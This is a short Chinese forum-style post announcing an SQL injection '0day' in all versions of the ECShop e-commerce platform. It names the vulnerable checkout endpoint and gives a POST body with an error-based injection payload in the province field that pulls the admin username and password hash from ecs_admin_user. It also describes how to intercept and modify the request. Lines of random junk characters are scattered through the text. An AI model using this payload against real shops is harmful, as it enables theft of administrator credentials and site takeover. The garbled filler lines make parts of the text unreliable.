ECShop全版本SQL注入0day

admin

感谢欠杀的黑盒
7 }, x. x, K4 \5 C
) r& {4 R: j. G* s
把任意商品加入购物车在填写配送地址那一页，有地区选择

flow.php?step=consignee&direct_shopping=1
0 I/ O* Z* h+ ?0 t4 F% d% n比如省选择安徽
( \9 i+ b; L, w9 g  A' F
' r% e5 n% d  v4 L/ r其中POST数据如下
$ h) w, T; F) V% Z% J
country=1&province=3&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=province=3
) q( ]2 m7 r# [6 z- u9 E% X2 {改成

  [9 @1 N. _& X% W" D- e2 _2 w; Tprovince=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #
' l7 v4 y3 `+ B" W$ jps：详细的方法，用火狐tamper data插件……..即可改post内容…..
1 O" J; r4 h# e- J5 w
( \9 b0 o7 [0 A7 c) c% {  h先注册账户，随便选个商品进购物车，然后填地址，电话什么的，填好开始抓包，改包
# g3 @- K4 z" ?3 F* k
就会回显错误页面了。。。。

; W% E- P9 U9 L6 P我自己没用这个日站过，就测试了一个最新版和老版本，均ok，所以写全版本，理论上应该是的
0 p7 g  o% y) K  m/ @# [! n